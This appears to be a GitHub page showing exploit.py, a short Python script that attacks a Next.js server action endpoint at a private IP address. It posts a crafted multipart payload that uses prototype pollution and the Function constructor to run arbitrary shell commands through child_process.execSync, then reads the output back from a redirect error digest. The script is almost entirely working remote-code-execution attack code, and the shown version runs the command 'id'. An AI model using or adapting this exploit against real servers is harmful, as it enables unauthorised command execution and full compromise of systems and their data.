-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
45 lines (29 loc) · 878 Bytes
/
exploit.py
File metadata and controls
45 lines (29 loc) · 878 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests, json
url = 'http://10.82.190.47:3000/'
def payload(command):
pyl = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
return pyl
def craft_payload(payload):
return {
"0": (None, json.dumps(payload)),
"1": (None, '"$@0"'),
}
headers = {
'Next-Action': 'x'
}
try:
r = requests.post(url, files=craft_payload(payload('id')), headers=headers)
print(r.text)
except Exception as e:
print('[x] Error:', e)